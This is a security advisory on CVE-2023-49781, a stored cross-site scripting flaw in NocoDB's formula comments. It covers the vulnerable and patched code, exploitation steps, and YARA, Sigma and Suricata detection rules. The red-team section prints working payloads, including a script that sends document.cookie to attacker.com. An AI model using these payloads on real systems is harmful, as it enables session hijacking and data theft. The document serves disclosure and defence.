CVE-2023-49781

Executive Summary

CVE-2023-49781 is a stored cross-site scripting (XSS) vulnerability in NocoDB, an open-source platform for building databases as spreadsheets. The flaw resides in the Formula virtual cell comments functionality, specifically in the nc-gui/components/virtual-cell/Formula.vue component. The replaceUrlsWithLink() function processes user-supplied content and creates hyperlinks for patterns matching URI::(XXX). However, it fails to sanitize or escape the remaining content outside this pattern, allowing an attacker to inject arbitrary HTML and JavaScript. This can lead to session hijacking, data theft, or further compromise of the NocoDB instance. The vulnerability is fixed in version 0.202.9.

Supply Chain & Package Security

NocoDB is distributed as an npm package (nocodb) and also via Docker images. The vulnerability affects the frontend Vue.js component, which is part of the core application. Users should verify the integrity of their installation by checking the package hash or using official Docker images. The npm package does not have a direct dependency chain that introduces this vulnerability; it is a code-level flaw in the application itself.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (requires authenticated user with ability to create or edit formulas)
• User Interaction: Required (victim must view the malicious formula comment)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: High. While the CVSS score is 7.3, the stored nature of the XSS and the potential for privilege escalation within the application elevate the risk. An attacker with low privileges can target administrators or other users.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the Formula virtual cell comments feature. The component Formula.vue uses Vue's v-html directive to render user-provided content. The replaceUrlsWithLink() function is intended to convert patterns like URI::(http://example.com) into clickable <a> tags. However, it only processes the matched pattern and leaves all other text unchanged.

Vulnerable Code Flow:

1. A user with formula editing privileges inserts a comment containing malicious HTML/JavaScript, e.g., <img src=x onerror=alert(1)>.
2. The comment is stored in the database.
3. When another user views the formula cell, the Formula.vue component retrieves the comment and passes it to replaceUrlsWithLink().
4. The function only replaces URI::(XXX) patterns, leaving the malicious payload intact.
5. The result is rendered via v-html, executing the injected script.

Root Cause: The use of v-html without proper sanitization. The replaceUrlsWithLink() function does not escape or strip HTML tags from the input.

Vulnerable vs. Patched Code

Vulnerable (pre-0.202.9):

// nc-gui/components/virtual-cell/Formula.vue
function replaceUrlsWithLink(text) {
  // Only replaces URI::(XXX) patterns
  return text.replace(/URI::\(([^)]+)\)/g, '<a href="$1">$1</a>');
}

The function returns the entire text with only the pattern replaced. Any HTML in the rest of the text is preserved.

Patched (0.202.9+):

// nc-gui/components/virtual-cell/Formula.vue
function replaceUrlsWithLink(text) {
  // Escape HTML entities first, then replace URI::(XXX) patterns
  const escaped = text.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
  return escaped.replace(/URI::\(([^)]+)\)/g, '<a href="$1">$1</a>');
}

The patched version escapes HTML special characters before processing the URI pattern, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Authenticated user with permission to create or edit formula cells.
• Target NocoDB instance version < 0.202.9.

Exploit Steps:

1. Log in to NocoDB.
2. Navigate to a table with a formula column.
3. Edit the formula cell and insert a comment containing a malicious payload, e.g.:

   URI::(http://example.com) <img src=x onerror=alert(document.cookie)>
   

4. Save the formula. The comment is stored.
5. When any user views the formula cell, the XSS triggers.

Proof-of-Concept Payload:

URI::(http://example.com) <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual formula comments containing HTML tags or JavaScript event handlers.
• Look for network requests to unknown external domains originating from NocoDB frontend.

Hardening:

• Upgrade to NocoDB 0.202.9 or later.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use Web Application Firewall (WAF) rules to block XSS payloads in formula comments.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP/HTTPS requests to attacker-controlled domains from NocoDB frontend.
• Logs: Formula comments containing <script>, <img onerror=, or other HTML event handlers.
• File: Modified nc-gui/components/virtual-cell/Formula.vue (if attacker has file access).
• Database: Stored formula comments with HTML tags in the formula or comments fields.

Detection Engineering

YARA Rule

rule CVE_2023_49781_NocoDB_XSS {
    meta:
        description = "Detects malicious formula comments exploiting CVE-2023-49781"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-49781"
    strings:
        $xss1 = /URI::\([^)]+\)\s*<script/i
        $xss2 = /URI::\([^)]+\)\s*<img\s+[^>]*onerror/i
        $xss3 = /URI::\([^)]+\)\s*<svg\s+[^>]*onload/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2023-49781 NocoDB Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in NocoDB formula comments
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: nocodb
detection:
    selection:
        event: "formula_comment_created"
        comment|contains|all:
            - "URI::("
            - "<script"
    condition: selection
falsepositives:
    - Legitimate use of URI::() with benign HTML (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-49781 NocoDB Stored XSS Payload"; flow:to_server,established; content:"URI::("; content:"<script"; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade NocoDB to version 0.202.9 or later.
• If upgrade is not possible, disable the formula virtual cell comments feature or restrict access to trusted users only.

Long-term:

• Implement input validation and output encoding for all user-supplied content.
• Use a strict Content Security Policy (CSP) to mitigate XSS impact.
• Conduct regular security audits of custom Vue.js components.

Workaround:

• Apply a WAF rule to block requests containing <script or onerror in formula comment fields.

Valters IT